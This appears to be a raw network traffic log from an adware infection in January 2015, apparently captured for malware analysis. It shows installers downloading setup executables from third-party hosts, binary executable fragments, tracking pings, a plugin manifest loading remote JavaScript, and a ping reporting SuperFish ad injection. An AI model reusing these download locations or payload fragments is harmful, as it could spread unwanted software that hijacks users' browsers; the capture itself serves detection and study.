...D$......D$.Kj._..........^...K.QQ.L$L...D$........$(.....L$D...L$..
......$(...P.L$H.......$(......$(.....$<......$8....C.$(.......$<
;......$(....C.$(...PQ..$...........$(..........d$D3...$....j.SP..@...
[email protected]$Dh.VK..fO....$X......$X....G...`..........0..$(....SW..
$......S....$(......$(...SW.......$(......$...........$......\....$(..
....$p...SW.QS....$(......$....SW.;S....$(......$....SW.%S....$(......
$....SW..S....$([email protected]....$(......$....SW..R....$(......$...
.Sj...R....$(.....$....Sj...R....$(......u..N?..3...$ ...d......Y_^[..
$....3...m....]...V.qP.........^..[..j4...I.........M....u.3....}.
<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:55:02 GMT

Accept-Ranges: bytes

ETag: "1bd473758e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 15 Jan 2015 16:08:10 GMT

Content-Range: bytes 500000-749999/1206160

X-Cache: RefreshHit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Fv4SyJIbAlMvKx5xiMspCD4ea1_gNdho7bVKw1lpeHojJMZJhlMqOg==
PQ..tM.3.P.E.d......M..E.P........P.(\.....P.M...^...E......M.........
.E......E..M.d......Y..]..................U..Q.M..M.......E.P.H......P
.M.......E...]......U..Q.E......}..u..$.}.fff.w.kE.(P.].......E..}..u.
......E...]...U..Q.E......}..u..$.}.I.$.w.kE..P.........E..}..u.......
E...]...U..j.h .I.d.....PQ.. SVW..tM.3.P.E.d......e..M..M...}...E..E.P
............M.Q............E......U.R.H.......E..E.P.9.......E..M.Q.*.
......E..U.R.........E..E.P.M.......E..M.Q.U.R.E.P.M.Q..~.....P.M..UT.
....U.R.M..w...j.j.......1.G...E........E......E..M.d......Y_^[..]....
[email protected].. SVW..tM.3.P.E.d......e..M..M...z...E..E.P........
....M.Q............E......U.R.8~......E..E.P.)~......E..M.Q..~......E.
.U.R.........E..E.P.M.......E..M.Q.U.R.E.P.M.Q..}.....P.M...P.....U.R.
M..g...j.j.......A.G...E........E......E..M.d......Y_^[..]....U..j.h`.
I.d.....PQ.. SVW..tM.3.P.E.d......e..M..M...y...E..E.P............M.Q.
...........E......U.R.(}......E..E.P..}......E..M.Q..}......E..U.R....
.....E..E.P.M.......E..M.Q.U.R.E.P.M.Q..|.....P.M...P.....U.R.M..W...j
.j.......Q.G...E........E......E..M.d......Y_^[..]....U..j.h..I.d.....
PQ.. SVW..tM.3.P.E.d......e..M..M..9{...E..E.P.}..........M.Q.........
...E......U.R..|......E..E.P..|......E..M.Q..{......E..U.R.........E..
E.P.M..y....E..M.Q.U.R.E.P.M.Q..{.....P.M..uR.....U.R.M..G...j.j......
.a.G...E........E......E..M.d......Y_^[..]....U..Q.M..E...]...U.....V.
M..M..........M.;A.w..U.R.M..w{..h.uJ..5....E.P.${.....P.M.Q.M.......E
..U..B.....M..A..U..E..B..M..U.;.u).M.......M....M..*....U....M...
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_a HTTP/1.1

Host: dl.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:01 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422502990"

Last-Modified: Thu, 29 Jan 2015 03:43:10 GMT

Cache-Control: max-age=2556

Content-Length: 2859580

Content-Type: text/plain

X-HW: 1422581341.dop012.am4.t,1422581341.cds058.am4.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@.......................... 
......!......... ..............................p..........0...........
P.....................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]..
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>


GET /utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=25417 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:11 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /t.ashx?e=XJYuqQQo69e7kz6lYX7QXjtwOqvEtO32dxAUVrEP9Zv8ln8Iap23//2TEkHeJNDUNLVXkHqu5mu/uXZTGtsiaqT5i7QP1JS WLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zAVIUyDQC2zTSWgEuZGyv2uo12XnbFKRlDmxot82KreXY48Y2Xxphg==
abfgshdgfjhsk....


GET /t.ashx?e=XJYuqQQo69e7kz6lYX7QXjtwOqvEtO32dxAUVrEP9Zv8ln8Iap23//2TEkHeJNDUNLVXkHqu5mu/uXZTGtsiaqT5i7QP1JS WLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6tV1CofL3cG1iaqyVI0qE_xddDHPA6Kk4EryCIJiXTRMam32Rh0djA==
abfgshdgfjhsk....


GET /t.ashx?e=XJYuqQQo69e7kz6lYX7QXjtwOqvEtO32dxAUVrEP9Zv8ln8Iap23//2TEkHeJNDUNLVXkHqu5mu/uXZTGtsiaqT5i7QP1JS WLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mHgoSxbT55CUyL2I2RZ5hLRnGtCohVc9MoqnNWmBnCIMwy2t8FJy7A==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:02 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 f989b812753677758cd8909391e239ac.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: mHgoSxbT55CUyL2I2RZ5hLRnGtCohVc9
MoqnNWmBnCIMwy2t8FJy7A==..abfgshdgfjhsk..


GET /home HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 403 Forbidden

Date: Fri, 30 Jan 2015 01:29:27 GMT

Content-Type: text/html

Server: PagespeedRewriteProxy 0.1

Content-Length: 0

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
HTTP/1.1 403 Forbidden..Date: Fri, 30 Jan 2015 01:29:27 GMT..Content-T
ype: text/html..Server: PagespeedRewriteProxy 0.1..Content-Length: 0..
X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..


GET /smt2b/all/hat/row/setup.exe_b HTTP/1.1

Host: dl.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:01 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422503005"

Last-Modified: Thu, 29 Jan 2015 03:43:25 GMT

Cache-Control: max-age=3247

Content-Length: 2859580

Content-Type: text/plain

X-HW: 1422581341.dop011.am4.t,1422581341.cds042.am4.c
....U.v.....B.,@..`.!..k .....g..{ht..x...W.Q,..&.. ..$%d.z.4%...B1e..
..J...x=..k.S.m....2.J....j:hM....w..'.d..2)wA..4Y...~.|...%U;.v....,j
.I..=J7!]f..4..J.9_.U.y..CyZ..S.......C..9...Z}[email protected].... %f{.
Z..a<,/3b...&yKL.l....\..i9rO.........}. .FU.......ij.Z..q=;....<
;..).._.WA..l.........i. ........x...7..l.YNcC......-\....E. ......7e.
=......n...g_....Q.Z.vr.9....3.._R.bPE........../.....zbP.\(.H.i=.....
....TU.n.tPg...7".mpJ..t...U.;.M.$BM.7&Dz....R..S..&Ig.).r.L.[........
.y.9.q..2".......=.j.... g.MG..;....x....s-..N...~vC..'....Q.%<r-..
S..9......bu.#*5..b.A...(F.F.........Q.~m.j.L...../..m...z......P'..s.
6/.........!.;.x.Z...._....R.W...v.....M6o.Ve.9.'.S...eg ......5@tK~..
...\.0......X.i:...p..,.......Xm.. V..S6!..i!~.I...N7.....>.4 e.W..
.v.vj.....x.y.....S.....UT..w.LzG%.:.>#.0...u.aWL....=Oi.2...f.....
X..G%s..v....i..p.% [email protected]"..#.V.....W&...............7..
qrW.4=cs... X[.}Y.q.......jrJ..r{...[.;`4.>S.....T&>.r..\R..K.?7
.........Q./..f/...e...v.h}...t)....*4.gSv....o...}....5.u!~...S`...f1
....I..|.M.9...\[email protected]!5n.._)<..."_..J.?..A...W.....Z.i6.
!. ..3.&m_.:[email protected].(\\.d/U. Y..AR....6.....a.Z..6.F..:..5....:X....
tN...^.d..l^..].........f.....-... ..i.^a..A...8..c...u...*.{.......s.
.v.......x....b..P...X......v..........0...~..!T...Kl..2..u..|...i...X
...O....Y.z..........YW7..y..........#..XC.I|b..Cg..x...........!L..%'
V...\..w..w.~.~.3.......L\Q.G..f..%....(C.....IK...Vg.3X.^...o..*..4..
.m.....[....W8.a..B.....8.7.K-{..^hm.u.C .r0G.. .N.a........7...H.
<<< skipped >>>


GET /script/14567725608/preload.js?subid=F1Uwsmtycl1-55ab86e2-1aa0-4cd0-9974-956045006e3d HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:20 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d22a1a6befcb14e1859f895588d778f851422581360; expires=Sat, 30-Jan-16 01:29:20 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"fc287ad7d00efd7b8b4d5fb8c2060974121e3c77"

Cache-Control: public, max-age=14400

CF-Cache-Status: MISS

Expires: Fri, 30 Jan 2015 05:29:20 GMT

Server: cloudflare-nginx

CF-RAY: 1b09e5df70370f63-FRA

Content-Encoding: gzip
b49..............ko.6....B..T)~....Zu.n{[email protected].}$.G......D.vv
.......'...:X.U.)..pOW.....0....E....#U..Rd;.eEx.._]^.~}qy5{.'t.8.g...
.8)..&.<.K..8.z.."..2..Al.S^..//.....8.c<;.........../.f..g. .Mq
Lj..V...o......W/...gH.C>..[....[.im.......hE.?..3.p..........d5/S.
:.....m....W...K.....}z1...,.iF.?^1..2..1M../..|.S?.......0u.....z1q.i
.;........z.I.c.o.....!. .A.............%..J*..O...K..pN...%[L..f%.B/.
..1.| K.Ip!..'V.zI.7..8...*.z#.\.:......;RP.V.7....-).Z.....!9.%).~.).
..f.'KZ..>.w....42..)...x...>..;._..(..^|y"..U[..._TuY...=.I..I.
q.....X.R.X .I...dY-.Ff..g9........W..,.q....,....2....2..%G...(FT....
..h..b........-.O...-..T}...*.W.....<.0!.....TrR...>..N:.L.J*.n=
Q..MP8.....q...Tk.9....?^..D...q..u..6.u.H{....K......s....K....n.....
f.........M...0.. ..P........0p.s3....7......>.O*..YvH... }|@...^..
C..`I..._.~....&.u"..NJN..$....c_.G9.........|.....H._..5/.j.6KV<..
.r.w;R..7.,.M....y6.?......?.....[.....?.1.1.oDk..6.&.....hs\P.....w?.
.......LH..Cm.G...."."@....].<?[.F.4...'U.'6../...@.{,H....dW......
a.b.B..........(...................M..F......Z....U...YL#...,=.w. yM..
J....Rl<~....2.....{.B....L..!..lS.:.oA.)...0...Z.4.......m.&......
...Wdf...X..,.....kbA.{...u..Y..~.......O".a.1..;.....P!hg...H.......;
P^..Y..2...'.6Q.M...m...0.....w.-P.....D.(2\%......)B....:.N2....BF.BH
.....j.D(EQ.c...S.SY..p*R....].5V...DU.........*....y.$.HU......Z.....
q:S.L.........a. v..Sq..T|.........)^.Z...i...>(....,...&..,..)l...
m...Y...'.{..;...S.w.&.Oc..V.6sw.I..2u....*.!.h#.n.z.mQ..W.=&.....
<<< skipped >>>

GET /script/layer.js?pid=14567725608&ln=en HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:21 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d7f8fae04825530cd09449e91a7472c4f1422581361; expires=Sat, 30-Jan-16 01:29:21 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"c00df2c940be83d51316c7222dc5d42716e9fcc2"

Cache-Control: public, max-age=14400

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

CF-Cache-Status: HIT

Expires: Fri, 30 Jan 2015 05:29:21 GMT

Server: cloudflare-nginx

CF-RAY: 1b09e5e3f0ea0f63-FRA

Content-Encoding: gzip
600a.............}.z.....?....l.E..%..v..I&.u.o.s..5\......LwS.H.7.o.i
^a.....)*.9....XM..P(...P(...lV.<.....Bd.......Z.aY..*.".e......\..
..Y.Z.r.b.l...-.@^...........RV..DY.".$.l..Y5T..........O|V..>..._.
k^TW..p..;....N.>...&#...^7".-.S.....E..^.Zu?gE...<.*....f.....Y
(...8.,.pBD.........V|X.SQ..?...0.Y./c.9._?.%..y..9...t........t......
0P.*.fIr..UL6Q..?...F.[[email protected]./....\..h.v...,.*&
....$G.......$~#.F.. CJ.6.B.D...d.4=..=jV..WQ/...Z.......zt{..I..W.S..
.....=Lr.].l......p...CK..bCIU...E!*....Hf]..h..$..v..y.........F.....
....xa.*-[.;..J......$ ...X.?..4...B.d..~t{$........Z......b..:$."Kn(.
........u.J.$.u..yVMfK.-8....Z...n.Fm...............p...,....\.M...B.i
....4..@-/D........-..~.i...Ux.k$....K5............|..T<.P].Z...uB.
......Bh Q..~.K*a..0..-=...kV...!O..3.h.. ....>.....P...J......%..U
..0.V...>..e.....H..]h...V]...G43!K._T..b.d.v.^......._y.j...Ax..k.
..w"N.?...bSsi...6.v.V.57`x.........=......k.......m....K....?< ...
......O. ..2>..qo..y..[....;.H..L..>h..?..V.i./..]Yv36.....%...O
?E."_..R...W..Y.^............J6.p...3.."`...M'G.p^....'.pr.8..q...O..!
.Hu..q..:.f..N.-.h].M..I..1O..s. GC...p.........'l....z|../@q.".{.4gU/
._..J..S...............|.....<....X...'...*..z..7..}.J.h:<..6..&
..l./.S...T....M.........x..$o.R..3.-.-.6c%..,].}[...#.......1P5e.....
h.....`..y..m...._t.M.......k.......ZBZ..........P.D..m#v..8.k......u.
..*. .....8.8...z.;[email protected]...._.y..e..Wk..].6..... 
D...[......VKU.U....@.#..c...c...."..`[email protected].............@
<<< skipped >>>


GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=753968&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:29 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 30
 Jan 2015 01:28:29 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.33088044648240255 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.6 HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:20 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=SuperFish HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Length: 0..


GET /plugin/apps/65743/manifest/1_36_01_22/ie10/manifest.xml?ver=21&rnd=2477 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:14 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422171085"

Last-Modified: Sun, 25 Jan 2015 07:31:25 GMT

Cache-Control: private, must-revalidate, max-age=900

Content-Length: 1883

Content-Type: application/xml; charset=utf-8

X-HW: 1422581355.dop010.am4.t,1422581354.cds042.am4.c
<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>.  <V
er>21</Ver>.  <ShortName>Apps Hat 1.5</ShortName>
.  <Description>Apps Hat is the cool new Android app store that 
helps you discover hot new apps, both free and discounted. Get persona
lised recommendations, price drop alerts, and share your favourite app
s with your friends.</Description>.  <PublisherName>Nero&l
t;/PublisherName>.  <HomePageLink>NA</HomePageLink>.  &
lt;JSLink>hXXp://js.onlineinputstorage.com/plugin/apps/65743/js/na/
ie/app_code.js</JSLink>.  <GroupID>0</GroupID>.  <
;Domain>NA</Domain>.  <RunInIframe>true</RunInIframe
>.  <ThanksURL>NA</ThanksURL>.  <EmailSignature>N
A</EmailSignature>.  <SettingsURL>NA</SettingsURL>. 
 <CertifiedInstall>NA</CertifiedInstall>.  <ExposeSites
>NA</ExposeSites>.  <RemoteFBApiURL>NA</RemoteFBApiU
RL>.  <DisableIE>true</DisableIE>.  <DisableFF>tr
ue</DisableFF>.  <EnableSearchIE>false</EnableSearchIE&
gt;.  <EnableSearchFF>false</EnableSearchFF>.  <Address
barIE>NA</AddressbarIE>.  <AddressbarFF>NA</Addressb
arFF>.  <AddressbarFFEnhanced>NA</AddressbarFFEnhanced>
.  <AddressbarCR>NA</AddressbarCR>.  <NewTabURL>NA&l
t;/NewTabURL>.  <NewTabEmbed>NA</NewTabEmbed>.  <Ope
nSearchURL>NA</OpenSearchURL>.  <BackgroundJS>http:
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=519133, public, no-transform, must-revalidate

Last-Modified: Thu, 29 Jan 2015 01:42:16 GMT

Expires: Thu, 5 Feb 2015 01:42:16 GMT

Date: Fri, 30 Jan 2015 01:31:42 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015012
9014216Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150129014216Z....20150205014216Z0...*.H........
......wg.8........R.......A[.'`?..:a...Hvw......&~rD../.N2.72.XN..K...
^}.8.K...]%,.z....Z...j..W..Tk?.!...t.^D..G.Eq..s$u.... ....&....K..7f
.x.r.}...<O.A)..`~8o0.F.,.$9ZB.....D.@;.\....."....{A..HI3.Q.vq7.B.
..l/z~q..h...D..R...a........(W...!...C...CO5.;.B.v=.a....0...0...0...
.........I...*....^n...0...*.H........0..1.0...U....US1.0...U....thawt
e, Inc.1(0&..U....Certification Services Division1806..U.../(c) 2006 t
hawte, Inc. - For authorized use only1.0...U....thawte Primary Root CA
0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, Inc.
1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...*.H
.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.s..
...S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..8|.
B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..kao]c
...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<.3
.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.......0
.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H...........
.....lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f... ..
.......GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya..:
...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S....h.
.......U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=398148, public, no-transform, must-revalidate

Last-Modified: Tue, 27 Jan 2015 16:07:03 GMT

